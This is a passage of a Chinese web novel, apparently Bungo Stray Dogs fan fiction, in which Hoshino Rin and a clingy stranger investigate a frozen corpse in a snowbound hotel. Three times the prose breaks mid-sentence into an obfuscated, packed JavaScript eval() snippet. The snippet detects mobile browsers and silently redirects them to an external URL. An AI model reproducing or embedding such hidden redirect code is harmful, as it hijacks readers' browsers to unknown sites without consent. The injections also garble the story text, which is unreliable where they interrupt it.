咬他明明只是单纯发泄,怎么在他眼里就变了味? 这家伙果然是个变态。 “那你好好留着吧,我以后说不定就不回侦探社了。” 星野凛说完这句话,就走了出去。 太宰感觉伤口好像变大了,他没有管流出来的液体,只是望着她离去的背影发呆。 * 星野凛和社长说明完情况就回员工宿舍了,她拿出角落里的行李箱,把常穿的衣服,还有必备物品装了进去。 半个小时后,她在路边拦截了辆出租车。 司机师傅瞄了一眼车内的后视镜,问:“小姐,请问您想去哪里?” 星野凛翻看手上的地图:“先去离这最远的一家酒店吧。” 光想着走了,完全不知道去哪,时间也不早了,还是先找个地方休息一晚,等明天再决定吧。 她拿出自己新买的手机,检查了一圈,很好,没有定位器。 身上也都检查了,没有窃听器。 这下终于可以放心地离开侦探社了,星野凛这次出来只是想散散心,找别的工作也会给别人带来麻烦,还不如留在侦探社,起码侦探社的大家都有异能,除了乱步先生。 她故意对太宰说自己不回来了,只是在发泄自己的情绪,还有一个最重要的原因是她不知道,怎么处理从西莉娅那得到的信息。 她想趁这个机会,找一找深川的下落。 西莉娅说深川死了,但她不相信这个结论,一种莫名的直觉告诉她,深川还没有死。 “小姐,您要去的酒店到了。” 司机师傅在一栋金碧辉煌的建筑下停车。 星野凛付完车费后,看着面前的酒店不禁有些后悔。 这酒店肯定不便宜,早知道就说去附近最便宜的一家酒店了。 星野凛走到前台,选了个最便宜的单人间。 “这是您的钥匙,请拿好。” 星野凛接过钥匙,走到电梯旁,等电梯下来。 等了一分钟,电梯终于下来了,她走了进去,刚想按下自己的楼层,突然,电梯按键自己亮了。 星野凛扭头看了看身后,没有人啊。 一个大胆的猜测在她心中盘旋,她该不会是撞鬼了吧? 34.第 34 章 星野凛按下自己的楼层后,聚精会神地观察电梯按键,直到她的楼层都到了,电梯按键都没有再亮。 她走出电梯,呼出一口气,刚才肯定是她眼花了,联想到最近都没好好休息,她更加确定是自己太累了,眼睛太疲劳,才误以为有鬼。 这个酒店很大,一个楼层至少有二十五到三十个房间,密密麻麻地挨在一起,也不知道隔音效果好不好。 房间看着多,其实住的人没多少,毕竟大多数人都承担不起高昂的住宿费,哪怕是最便宜的房间她也花了将近20万円。 得感谢木村一郎,没有他的紧急委托,她是绝对住不起这个酒店的。 星野凛来到自己的房间,房号是310。她推开门,把灯打开,打量了一下这个房间,不大不小,正好够一个人住,多一个人就会显得逼仄。 她把行李箱打开,把洗漱用品和明天要穿的衣服拿出来。 像这种级别的酒店,一般都会有准备好的牙刷和牙膏,但她觉得不太卫生,在走之前特意把自己洗漱用品装进了行李箱,以备不时之需。 星野凛把洗漱用品放在卫生间,提前往浴缸里放好了水。 又折返回床前拿睡衣,她打了个喷嚏,发现窗户是开着的,于是走到窗户旁想关上。 外面积压着厚厚的云层,一颗星星都没有,阴沉沉的,看样子明天要下雨了。 她伸手关上窗户,把窗帘拉上。 走到卫生间洗澡,洗到一半发现没水了,她正打算给前台打电话,发现手机没电自动关机了,这时,卫生间的灯又灭了。 她摸黑走到开关处,按了好几下,确认是停电后,又慢慢走回浴缸旁拿换下来的衣服。 “……”人倒霉起来真是连喝凉水都塞牙缝啊。 星野凛没办法只能使用异能,把国木田的异能掠夺过来,得到了一个小型手电筒。 她把手电筒打开,世界终于有了一丝光亮。 幸好她身上的泡沫在停水的前一秒冲掉了,这真是不幸中的万幸啊。 停水又停电,还是早点休息吧。 星野凛换上睡衣后没多久就进入梦乡了。 一直在床前观察她的人,也解除了异能,恢复了实体。 深川千礼帮她盖好蹬掉的被子:“真是的,还和以前一样,睡觉喜欢蹬被子。” 结果刚盖好的被子没一会又被星野凛给蹬掉了。 深川千礼:“……” * 星野凛一觉睡到自然醒,边打哈欠边穿衣服,抬头看了看墙上的老式挂钟,已经上午九点了。 她走到卫生间,拧开水龙头,没有水,按下灯,也没有电。 没法洗漱,只能去楼下找前台,问一下什么时候才会有水有电。 由于房间内没有电,光线比较暗,她只能把窗帘拉开。 看着外面的鹅毛大雪,她愣了半天才回神,怎么回事,现在还不到下雪的时候吧? 这场突如其来的雪实在是太诡异了。 星野凛没在窗前驻足多久,看了一小会就开始检查窗户的严实程度,确定外面的风雪吹不开就下楼了。 因为停电的缘故,她只能走楼梯下去。 等她到一楼的时候,前台的旁边围满了人,貌似都是来询问什么时候恢复水电的。 她走过去听前台的解释。 “请大家放心,我们一定会尽快维修的,保证在今天之内就恢复供电。” 怎么只恢复供电,不恢复供水? 难道只有她住的房间停水了? 星野凛怀揣着疑问,挤到最前面:“我想问一下酒店有没有停水?” “您好,我们酒店并没有停水呢,请问您的房间停水了吗?” 还真只有她的房间停水了。 星野凛把自己房间的情况向前台说明了,并把房号告诉了前台。 “请您放心,我们马上就会派人去您的房间检修,请您耐心等一下。” 星野凛得到前台的答复后就走到了最后面,这时,一个和她年龄差不多大的女孩扯了扯她的衣角:“你好,我是住在你隔壁的,我叫水泽莲音。” 她和这人见过吗?也太自来熟了吧。 见星野凛露出疑惑的眼神,水泽莲音解释道:“你走出房间的时候,我刚好也走出了房间,我看到你走了楼梯,就没有跟上去。” “那你是怎么下来的?” “你不知道吗?电梯是有单独供电的,所以停电并不影响电梯的运作。” “……” 怎么不等她死了再告诉她!? 星野凛幽怨地看着水泽莲音:“那你刚才看到我走楼梯,为什么没有提醒我?” 故意挑这个时候告诉她,是在故意炫耀吧? 水泽莲音眨了眨眼:“可是,我们刚才还不认识,突然和你说话会不会不太好?” ???说得就跟她刚才突然的搭话有多礼貌一样,这家伙绝对是故意的。 星野凛努力保持微笑:“那你现在和我说话就没有这些担忧了吗?” 该说话的时候不说,不该说话的时候说一大堆。 水泽莲音:“对啊,因为现在人多,我是个社恐,人少的时候不太敢和陌生人搭话,人多的话就会大胆一点。” “……” 星野凛:“其实我得了一种罕见的病症,医生说只要我一和弱智说话,就会暴毙而亡,所以为了我的生命安全,能请水泽小姐不要和我说话吗?” 水泽莲音:“?……” 酒店的大堂经理从外面风尘仆仆地进来: “非常抱歉,告诉大家一个坏消息,由于暴雪肆虐,离开酒店的唯一一条路被大雪覆盖,信号塔也被大风吹倒,相关人员正在加急维修,最快也要后天,在此期间请大家耐心留在酒店,感谢大家的理解。” 不是吧,这个展开也太熟悉了,暴雪山庄秒变暴雪酒店? 里面的人出不去,外面的人进不来。 事已至此还是先吃饭吧,她从昨晚到现在一顿饭都没吃,肚子都要饿瘪了。 看到星野凛往用餐的大厅走,水泽莲音立马跟了上去:“好巧,我也饿了,我们一起吃饭吧。” 这家伙脑子没问题吧?刚才都内涵她是弱智了,怎么还跟着啊,难道说她真的是个弱智? 想到这,星野凛看向水泽莲音的视线里多了一丝同情。 水泽莲音不明所以地笑了下:“对了,我还不知道你的名字呢,能把你的名字告诉我吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143888|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星野凛。” “喔,真是个好名字呢。” 水泽莲音用夹子夹起一块三文鱼:“凛酱喜欢吃这个吗?” “我不喜欢吃三文鱼。” 她觉得三文鱼的口感很奇怪,每次吃都会忍不住吐出来。 “好巧,我也不喜欢吃三文鱼。” “……那你刚才夹起来干嘛?” “我只是想问问凛酱吃不吃,难道不能夹吗?” 不吃夹了干嘛,真是没有素质。 星野凛懒得理她,自己随便夹了点食物就找位置坐下了。 谁能想到,她刚坐下,水泽莲音像甩不掉的橡皮糖一样,又粘上来了。 “……” 星野凛把食物放在餐桌上:“你为什么要跟着我?” 水泽莲音往嘴巴里塞了很多寿司,说话含糊不清:“因为&*#&&&……” “你把食物咽下去再说话。” 水泽莲音艰难地咽下去:“因为我不认识别人啊,社恐一个人吃饭会很尴尬的,凛酱难道不愿意和我一起吃饭吗?” 星野凛:“我就算说不愿意,你会离开吗?” “当然不会!” “……那我不愿意又有什么用?” 星野凛努力忽视掉身边的人,专心吃饭。 水泽莲音指着坐在她前方的女人,压低声音道:“你知道千叶株式会社吗?这个女人是社长的女儿,千叶株式会社将来的继承人,千叶清香。” 星野凛抬头看向千叶清香的背影,摇了摇头:“不知道,从来都没听说过,不过你是怎么知道的?” 这家伙是情报贩子吗?特意收集别人的信息方便拿出来卖? 水泽莲音一脸神秘道:“这个嘛,当然是靠我的人脉打听出来的,具体的你还是不知道比较好。” 星野凛咽下最后一口食物,指着左前方的女高中生:“那她是谁?你知道她的信息吗?” “她叫高桥樱子,目前上高中三年级,双亲都去世了,是个孤儿,靠孤儿院的资助上学。” 先不提这些消息是不是真的,直觉告诉她,水泽莲音绝对不是一个情报贩子那么简单。 还是小心提防比较好。 水泽莲音自顾自地指着右前方的男人说道:“凛酱你要小心点这家伙,这家伙叫井上雄,是在逃的杀人犯,目前用了假名和□□在这家酒店登记。” “他就住在我隔壁,昨天晚上我看见他拖着一具尸体往自己的房间走。” 星野凛去接了杯热水:“说不定不是死人,是活人呢?” 水泽莲音瞪大了眼睛:“你的意思是他拖的是活人,等拖到房间就变成死人了?” “但我今天悄悄路过他的房间,没看见里面有血迹啊,而且昨晚还停电了,在看不见的情况下,他是怎么做到把房间清理得和之前一样的呢?” 见水泽莲音真的思考起来了,星野凛有些心虚:“你别纠结这个问题了,刚才是我瞎说的,说不定他拖的就是死人,总之大白天的就别讨论这种问题了吧,一点也不吉利。” 水泽莲音咬了一口苹果:“好吧,既然凛酱觉得不吉利,那我们就不讨论了。” 星野凛刚站起来,就听见一道惊恐的声音:“啊啊啊啊啊啊啊——杀人了!” 35.第 35 章 星野凛和水泽莲音对视了一眼,急忙跑出了餐厅。 大堂经理把从楼梯上下来,不慎摔倒的保洁扶起来:“发生什么事了?慢慢说。” “312房间有、有人死了。” 保洁后怕地说:“我刚刚去312打扫卫生,在浴缸里发现了一具尸体,我想拿出手机报警,但信号塔还没修好,情急之下就跑到了楼下。” “经理,请您去312处理这件事吧,拜托了。” “我知道了。” 大堂经理转过身面对众人:“请大家放心,不要害怕,我一定会妥善处理这件事的。” 星野凛在心里默数这家酒店到底立了多少个flag,好像得有四个了吧。 “牧野,你和我一起去312查探一下情况。” 那个叫牧野的前台面露难色,鞠躬拒绝道:“那个,我有先天性心脏病,不能看这么血腥的画面,医生也建议我不要看这种带有刺激性的东西,前辈,真的非常抱歉……” “那就让木下和我一起去。” 牧野旁边的木下正绞尽脑计地找借口:“前辈,我……” 大堂经理打断了她的发言:“行了,别找借口了,快点和我一起上去。” 木下灵光一闪,抬手抚摸着自己的小腹:“前辈,我怀孕了,孕妇不能看这种画面,对宝宝不好。” 大堂经理:“……” 星野凛在一旁憋笑,差点没憋出内伤。 水泽莲音兴奋地举手:“我可以去,我最喜欢看这种刺激的画面了。” 大堂经理犹疑道:“这是酒店的员工需要处理的事,您确定要和我一起去吗?” “我确定,以及肯定。”水泽莲音推了一把星野凛:“这是我新认识的朋友,她也想和我一起去,是不是啊,凛酱?” 星野凛一脸懵:“哈???” 她什么时候说她要去查探尸体了?都离开侦探社了,还要和杀人事件扯上关系,这和额外加班有什么区别啊? 哦,还是有区别的,查探尸体没有加班费。 这么一想她就更不想去了。 不等她反应,水泽莲音就拉着她去312了,还不忘转头催促大堂经理:“目黑先生,还不快点过来,你是想等尸体都臭了再处理吗?” 目黑跟上去:“您是怎么知道我叫目黑的?” “你的工牌不就挂在脖子上吗?只要是眼睛没有问题的人都能看出你叫什么。” 星野凛一边挣脱开水泽莲音的手,一边说。 “原来如此。” 水泽莲音按下要去的楼层,“昨晚我就听到隔壁有动静了,对了,凛酱你和目黑先生复述一遍我在餐厅时说的话吧。” 星野凛:“没有复述的义务。你这家伙要不要去医院检查一下脑子啊?我什么时候说我要来多管闲事了?不要擅自替别人做决定啊。” 还是在她们一点都不熟的情况下,怎么想都觉得这家伙情商很低,一点边界感都没有。 水泽莲音看着电梯按键上不断闪过的数字:“诶?可是现在整个酒店,能来查看尸体的就只有我和凛酱了吧?我们不解决就没人能解决了,凛酱,你要明白一个道理,有些事并不是你不去掺和就能避免的。” “现在的情况可以算得上是糟糕的程度了,大雪封路,没水,没电,没信号,还发生了命案,这种情况下死的人只会多不会少,因为完美符合暴雪山庄模式的杀人手法。你不自找麻烦,麻烦总会找上你,没有人能独善其身。” 星野凛指了指目黑:“他不是也能来查看尸体吗?不要再给自己的脸上贴金了。” “目黑先生如果真的能一个人来查看尸体的话,就不会喊牧野和木下陪他一起去了。” 目黑:“……” 星野凛面无表情:“看到没,这家伙一点情商都没有,这种事情私下说就好了,干嘛要说出来。” 水泽莲音丝毫不受影响,先一步走出电梯:“到了,我们出去吧。” 星野凛来到自己的房间前,310,往后走,311,再往后走就是312了。 “你昨晚几点睡的?” 水泽莲音:“大概是十二点吧,主要是我太好奇隔壁了,越想越兴奋,根本睡不着。” 目黑敲了敲门:“您好,请问有人在吗?” 星野凛悄悄开启异能,一脚把门踹开:“敲门太慢了,里面怎么可能有人,是在等着被怀疑吗?” 哪有人这么蠢。 星野凛刚说完这句话就看见了正在挪动尸体的嫌疑人。 她收回刚才那句话,有些人就是很蠢,蠢到能让你怀疑人生。 “凛酱,怎么了?” 水泽莲音蹑手蹑脚地进去:“诶——这不是住在这间房的井上先生吗?” 星野凛看见水泽莲音原本的口型了,心想这家伙刚才应该是想说杀人犯吧?还好改口了。 目黑也走进去:“原来这位先生是住在这间房的啊。” 井上雄拖尸体的动作一顿:“你怎么知道我叫井上?” 水泽莲音刚想说话,星野凛就示意她不要开口。 “这不是重点,昨天晚上你在干什么?还有,人是不是你杀的?” 目黑把脖子上挂的工作牌递给井上雄:“是这样的,保洁人员今天在您的房间里发现了尸体,这件事造成了不小的恐慌,警察没办法及时赶到,只好请您配合我们的调查。” “大意了,忘记把尸体藏得隐蔽一点了。” 井上雄看了一眼工作牌就扔到地上了:“搞什么啊,一个大堂经理带着两个白痴跑来质问我,以为自己是警察吗?” 星野凛捏紧了拳头:“你说谁是白痴?我没听见,能请你再说一遍吗?” 井上雄掏了掏耳朵:“哈?还要再重复一遍,你是小学生吗?还真是麻烦啊,我说,你还有你旁边的臭丫头都是白痴,有问题吗?没问题不要妨碍我。” “像你这种蠢货才应该是白痴。” 星野凛一拳把井上雄打倒在地。 她拿出湿巾擦了擦手:“说水泽莲音就行,非要把我也带上,活该。” 水泽莲音正准备酝酿感动的泪水,听到这句话愣了愣:“啊?凛酱刚才不是在为我出头吗?” 星野凛感到莫名其妙:“我为什么要替你出头?我明明是在替我自己出头。” 水泽这家伙怎么这么喜欢自作多情。 “可是凛酱你以前……” “什么?” 星野凛没有听清她这句话。 水泽莲音摇摇头:“没什么。” 目黑把工作牌捡起来重新挂在脖子上,还不忘关心一下井上雄:“井上先生,您还好吧?” 井上雄左眼青紫,正神志不清地躺在地上,脸还不停地抽搐。 “凛酱,你该不会把他打傻了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157835|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “应该不能吧,我是收着打的。” 她发誓,刚才那一下绝对没有用力,也不能这么说,用力是肯定的,但只用了五成的力气,应该不至于把人打死。 看来组织的身体强化手术做的很成功,她只打了一拳,对方到现在都站不起来。 她联想到上次打西莉娅的那拳,西莉娅做的身体强化手术还是有用的,挨了她一拳还能逃跑,如果没做手术,估计就和井上雄一样倒地不起了。 “别管他了,先看看尸体怎么样了。” 星野凛把装尸体的麻袋打开,看到一具被冻成冰雕的男尸,“你们快来看。” “怎么了?” 水泽莲音好奇地靠近:“这尸体怎么会冻成这样?如果是昨天晚上就扔到外面的话……不对,昨天晚上十点之前都没下雪,就算是下半夜放到外面也不可能冻成这样。” “凶手把人杀了,放到外面再搬进来,那他图什么啊?搬运尸体还这么麻烦,难不成他有特殊癖好,喜欢把尸体冻成冰雕?昨晚还停电了,冰箱也用不了,而且酒店也没那么大的冰箱啊……” 星野凛淡淡道:“确实,这具尸体是完整的,没有被切割成块,冻成这个程度,还要保证尸体完整的话,只能去冰库了,但我不觉得凶手会去冰库,这家酒店的位置比较偏,离冰库很远,凶手不会这么有耐心,等尸体变成冰雕再运回房间。” “所以井上应该不是凶手,他这么蠢,连尸体都不会藏,更不可能想出这么巧妙的杀人方法。” 目黑看了一眼尸体,心有余悸地拍了拍胸口:“那井上先生不是凶手的话,会是谁呢?” “不知道。” 目黑:“……” 死者像是有异能的人杀的,她看到尸体第一眼的时候就冒出了这个想法,让她确定这个想法的契机,是在刚刚解开麻袋的时候,手不小心碰到了尸体,而她在刚进这个房间的时候就掠夺了太宰的异能。 【人间失格】碰到尸体上的冰,竟然把尸体融化了一小块,因为她触碰尸体的时间很短,不然尸体早就被她融化了。 这也间接说明,这次的杀人事件是异能者犯下的,还是可以操控冰的异能者。 外面的暴雪说不定也是这个异能者搞出来的。 “呐呐,凛酱,我们现在需要把井上弄醒吗?” 水泽莲音踢了踢井上雄的腿。 “等一会再把他弄醒,现在我们要做的是把井上和那具尸体送到大厅,虽然会造成恐慌,但也没办法了,大厅人最多,凶手说不定就藏在那里,到时候观察每个人的表情,再询问一下昨晚的行程,就能大致锁定凶手了。” 水泽莲音一脸崇拜地看着她:“凛酱是做侦探的吗?面对尸体毫不畏惧,还能冷静地分析现状,真的好厉害啊。” 冷静,这绝对是试探,想通过吹捧来套出她的职业,她偏不上当。 “不是,也没有很厉害,一般般啦。” 星野凛走到尸体面前,解除了异能,把尸体扛到肩膀上:“目黑先生,能麻烦你把井上抬下去吗?” “好的,没问题。”目黑抬了半天只能抬动一条腿,尴尬地挠了挠脸。 星野凛:“……” 水泽莲音叹了口气:“算了,还是我来吧。” 说完就把井上雄轻松地抬起来了。 目黑:“?!!” 星野凛:“????!!!” 36.第 36 章 星野凛来到一楼大厅,把尸体放下,解开麻袋上绑的绳子,露出尸体的头。 有许多好奇的人靠近看,立马被吓得尖叫出声:“救命啊!这里有尸体!” “经理先生呢?不是说会妥善处理这件事吗?为什么要把尸体放在这里?” “是312房间里的尸体吗?这副模样好奇特啊。” “妈妈,我好害怕呜呜呜……” “不怕不怕,妈妈一会带你去外面堆雪人好不好?” “好!我最喜欢堆雪人了!” 面对周围嘈杂的声音,星野凛并没有急着解释,而是站在原地等水泽莲音和目黑,等那两人过来,解释起来更有说服力。 “抱歉,让凛酱久等了。” 水泽莲音放下井上雄,“我肚子有点不舒服,上了三次厕所,以为只要去一次就好,没想到去了那么多次。” 本来水泽莲音要和她一起下来的,结果这家伙肚子不舒服,硬生生拖到现在才下来。 星野凛看向水泽莲音的身后,没有发现目黑的身影,她问道:“那目黑先生呢?他也拉肚子吗?” “你说他啊,他看到井上的房间那么乱,强迫症发作,正在里面打扫卫生呢。” “……” 她想起目黑那副郑重其事的样子,还以为他有什么大事要处理呢,结果在打扫卫生。 星野凛吐槽道:“目黑先生作为大堂经理,应该先过来处理杀人事件吧?他既然这么想当保洁,为什么不去和上司商量一下降职的事?” 哪个正常人在自己工作的地方出现了杀人事件,还能若无其事地打扫卫生啊?! 水泽莲音无奈摊手:“谁知道呢,我早就说过了吧,这件事目前除了我们,没有人能解决。” “算了,先不管目黑了。” 星野凛说完观察了一下四周,聚集在大厅的人都带着好奇或惊恐的神色,暂时没发现与众不同的神色,凶手的演技真是好到能拿奥斯卡了。 井上雄的面部仍在抽搐,星野凛按了按太阳穴,怎么还没醒,早知道就轻点打了。 星野凛对水泽莲音说:“你去拿一瓶矿泉水。” 水泽莲音虽然不懂她为什么要矿泉水,但还是去餐厅拿了。 没一会就回来了,“呐,拿回来了,我还没问凛酱要矿泉水干嘛呢。” “一会你就知道了。”星野凛走到井上雄的面前,拧开矿泉水的盖子,紧接着把一整瓶矿泉水都泼到井上雄的脸上。 水泽莲音叹谓道:“不愧是凛酱,连这么冷酷的手段都能使出来。” 星野凛握着矿泉水的手一顿,斜睨了她一眼:“难道你有更好的办法吗?如果没有就给我闭嘴。” 最讨厌这种什么忙都帮不上,在一旁说风凉话看热闹的人了。 水泽莲音抬手在自己的嘴前,做出拉拉链的动作:“好的,我闭嘴。” 矿泉水瓶里的水很快就见底了,而井上雄还没有要苏醒的迹象。 男人就是麻烦,星野凛拿出装在口袋里的匕首,正准备刺向井上雄,结果这家伙突然坐起来了。 星野凛见他醒了,就默默把匕首收起来了,当做什么都没发生过。 井上雄此刻的样子很狼狈,头发被水打湿,黏哒哒地贴在脸上,左眼的青紫痕迹还没消失,浑身上下都沾满了灰尘,裤子上还两处明显的脚印,越看越像一个讨饭吃还被人打的流浪汉。 “可恶!是谁往我脸上泼的水?” 井上雄愤愤地盯着在场的所有人。 星野凛大方承认:“是我,有什么问题吗?还是说井上先生有强迫症,想让右眼变得和左眼一样对称?” 井上雄抬手摸了摸青肿的左眼,下一秒就痛呼出声:“嘶……没有问题,一点问题都没有。” 水泽莲音的视线落在大厅里的人身上:“我相信大家都听说312房间发生命案的事了,现在是特殊情况,请大家配合一下,如实说出昨晚的行程,好为自己洗清嫌疑。” 一人出声道:“尸体是在312房间发现的,那谁住在312谁就是凶手,为什么还要怀疑我们?” 另一人跟着附和:“就是就是,犯罪嫌疑人就在这里,和我们有什么关系?” 星野凛抬眼扫了一下那两人:“凶手还没有找出,暂时并没有确切的证据证明人是井上杀的,在没有找出凶手之前,在场的每一个人都有嫌疑。” 见那两人还想继续辩驳,水泽莲音抢先一步开口:“现在当务之急就是找出凶手,不然死的人会更多,如果你们两个人不想先一步去三途川的话,就给我老老实实配合。” 那两人彻底哑声了。 星野凛踢了踢井上雄的手臂:“喂,昨天晚上你去哪了?还有,你和死者是什么关系?” 井上雄站起来,走到尸体的旁边:“他是我的同事,叫坂本,昨天晚上我在楼梯的拐角处发现了他,为了避免麻烦,我把他拖回了我的房间,但昨晚停电了,我看不清楚就先把他放进浴室里了。” “等天亮,就准备联系清道夫把他的尸体给处理了,结果我忘记今天还预约了房间清理,让保洁发现了他,这就是事情的经过。” 星野凛把裹着尸体的麻袋扔到一边,把完整的尸体暴露在大众眼前。 有孩子的家长就把孩子的眼睛给捂上,有受不了这副场景的人呆愣在原地,还有直接吓晕过去的。 “……” 她忘记大家都是普通人了,直面尸体什么的还是太超纲了。 她戳了戳包裹在尸体外面的冰块:“为什么你对坂本的死一点都不震惊?他的死法这么蹊跷,你就一点都不好奇吗?好歹同事一场。” 井上雄叹息道:“干我们这一行的,随时都有可能丢掉性命,没什么可好奇的。” 星野凛悄悄靠近水泽莲音,小声道:“你之前说他是杀人犯,难道他的工作真的就是杀人放火啊?” 水泽莲音同样小声说道:“我那只是猜的,我昨晚不是撞见他拖运尸体了吗?就以为他是杀人犯,他具体是做什么的,我也不清楚。” “……” 星野凛蹙了下眉:“你不是情报贩子吗?怎么连这个都不知道?” 水泽莲音一脸懵:“我什么时候说自己是情报贩子了?我只是消息比较灵通而已,既然凛酱这么想知道的话,那我就打听一下吧。” 星野凛强调道:“不是我想知道,是找出凶手需要这些信息,麻烦你搞清楚一点。” “好吧,我知道了。” 星野凛继续问井上雄:“坂本生前和什么人有过冲突吗?有没有得罪过什么人?” “要论得罪过谁的话,那他得罪过的人能绕霓虹一整圈。” 井上雄仔细回想道:“我记得大前天坂本不小心把千叶大小姐的手表弄坏了,千叶大小姐当时很生气,说要给他点颜色看,说完就走了。” “千叶大小姐?” 总觉得这个姓氏有点耳熟。 水泽莲音见星野凛想不起来,提醒道:“在餐厅吃饭时我说过的千叶株式会社,社长的女儿,千叶清香。” 被水泽莲音这么一说,她就想起来了。 “那千叶清香去哪里了?” 得向她确认一下大前天的事是否属实,井上雄把千叶清香说出来,无非就是怀疑千叶清香有杀害坂本的嫌疑,现在最好让千叶清香过来,问一下她昨晚在干嘛。 这时,人群里有一道弱弱的声音响起:“那个,千叶小姐在餐厅用餐,需要我把她叫过来吗?” 星野凛打量了一下说话的人,是一个穿着jk制服的女子高中生,缩着脖子,说话也轻声细语的,像一只温驯乖巧的绵羊。 “好的,那就麻烦你了,小绵羊。” “小绵羊?” 她居然把心里想的话说出来了,救命啊,好尴尬。 她清咳了两声:“没什么,是你听错了,这件事就拜托你了。” 女子高中生起身去叫千叶清香了。 水泽莲音忽然贴在她耳边说:“凛酱难道也把她给忘了?” 什么叫也?她认识这个人吗? “她是谁啊?我认识她吗?” 星野凛瞬间开启了头脑风暴,想了半天也没想起来。 “凛酱的记忆力什么时候变得这么差了?” 水泽莲音指着餐厅的方向说:“当时在餐厅吃饭的时候还是凛酱自己指的,指着人家问我她叫什么。” 啧,好像是有这么一回事,不过这家伙是怎么知道她记忆力好的?难不成也是打听的? “那她叫什么?” 星野凛压下心里的疑问说道。 “高桥樱子,双亲都去世了,靠孤儿院的资助上学,想起来了吗?” “哦,原来是她啊。” 明明不擅长和人交流,为什么要主动揽下这种事?太可疑了吧。 不远处,高桥樱子回来了,身后是一脸不情愿的千叶清香。 千叶清香拢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188419|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拢身上的名牌衣服,高抬下巴:“找我有什么事?” 星野凛看了一眼冻成冰块的尸体:“千叶小姐,你知道坂本死了的消息吗?” 千叶清香慢吞吞地打了个哈欠:“谁不知道这件事啊?你们打扰我用餐,把我叫过来就是为了说这个事,实在是太失礼了,如果没有别的事,我就回去了。” “等一下。” 星野凛叫住她:“井上说你的手表在大前天被坂本弄坏了,是真的有这回事吗?” 千叶清香因为她的话被迫停住脚步,转过身和星野凛对视:“是真的,那是我最喜欢的一个手表,你们不会怀疑坂本的死和我有关吧?” “我还不至于为了一块手表弄脏我的手,是谁给了你们有钱人就喜欢杀害无辜的错觉?我和这起命案没有任何关系。” 星野凛:“那昨天晚上你在干什么?有人能证明吗?” 如果没有停电就好了,这样就能查看监控了。 “昨天晚上我很早就睡了,这一点我的保镖能证明。” 千叶清香喊了一声:“高木,你来解释一下。” 叫高木的保镖是个身材魁梧的女人,她听到千叶清香的呼喊,立马上前:“好的,小姐。” 高木回完话就站到千叶清香的身后,一板一眼地说道:“我能证明,因为我一直守在小姐的床边没有睡,小姐睡着的时候是晚上八点半,九点的时候我肚子有点饿,就去餐厅吃饭了,这一点前台可以证明。” “昨晚值班的是谁?是牧野小姐还是木下小姐?” 星野凛轻点下巴转头问道。 木下举手:“是我,昨晚值班的是我,确实如高木小姐所说,昨晚九点她在餐厅吃饭,我亲眼所见。” 千叶清香听到木下的话,把视线重新转到星野凛的脸上:“这下可以证明我的清白了吧?我没有也没必要为了一块手表杀人,那样做我们千叶会社的股票会暴跌的,母亲知道了也会克扣我的零花钱,这件事对我来说百害而无一利,我是不会蠢到去干这种事的。” 星野凛有点头疼:“感谢千叶小姐的配合,打扰你用餐了,实在是不好意思。” 千叶清香轻哼一声走了,高木也紧随其后。 “凛酱,你真的相信她的证词吗?” 水泽莲音碰了碰她的胳膊。 “不相信也没办法啊,监控看不了,只能相信了,而且前台总不能说谎吧?” 她其实并没有百分百相信,遇上这种杀人事件,任何人都有可能是嫌疑人,不能因为对方的不在场证明充足就放弃怀疑,她早就在高木开口之前就把千叶清香列为可怀疑可不怀疑的类别里了。 目前酒店还处于停电的状态,本就到了晚上,这会显得格外黑,加上外面的暴雪还在下,整个酒店的氛围都充斥着阴郁和压抑,让人喘不过来气。 “时间也不早了,你一会把尸体扛回312。”星野凛对水泽莲音说道,说完又对聚集在大厅的众人说:“大家都散了吧,早点回去休息。” 水泽莲音:“我知道了。” 众人听到星野凛的话后,也歇了看热闹的心思,纷纷散开,有的去餐厅,有的回房间。 星野凛想起水泽莲音说她记忆力变差的事了,她的直觉告诉她,水泽莲音绝对不简单,怀疑得再彻底一点的话,这家伙说不定是组织的人呢? 星野凛不愿意放弃任何猜测。 “我怕黑,不敢一个人睡,一会你陪我一起睡吧。” 这么拙劣的借口希望水泽莲音千万不要识破啊。 “诶??” 水泽莲音笑道:“凛酱是小孩子吗?居然还怕黑。” 她才不怕黑呢,要不是因为怀疑这家伙,她是绝对不会和这家伙共处一室的,她今天晚上不打算睡了,她要装睡盯着水泽莲音,一旦发现这家伙有任何可疑行为,立马就把打晕她。 “你说是就是吧。” 随便这家伙怎么说,做大事的人不能计较这么多。 星野凛正准备抬脚回房间,忽然有一阵急促的手机铃声从她外套内衬的口袋里传出。 她拿出来一看,哪个神经病把卫星电话装在她衣服里了? 